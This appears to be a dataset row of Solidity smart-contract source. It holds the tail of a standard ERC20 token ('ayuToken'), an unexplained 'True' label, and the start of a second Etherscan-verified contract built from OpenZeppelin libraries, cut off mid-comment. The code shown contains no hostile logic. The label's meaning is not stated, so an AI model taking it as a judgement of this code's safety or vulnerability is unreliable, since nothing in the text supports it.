_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract ayuToken is ERC20("ayu Token", "ayu") {
uint256 private constant totalSupp = 1000 * 10**6 * 10**18;
constructor() {
_mint(msg.sender, totalSupp);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
// SPDX-License-Identifier: NONE
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/[email protected]/EnumerableMap
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// Part: OpenZeppelin/[email protected]/EnumerableSet
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// Part: OpenZeppelin/[email protected]/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/[email protected]/IERC721Receiver
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
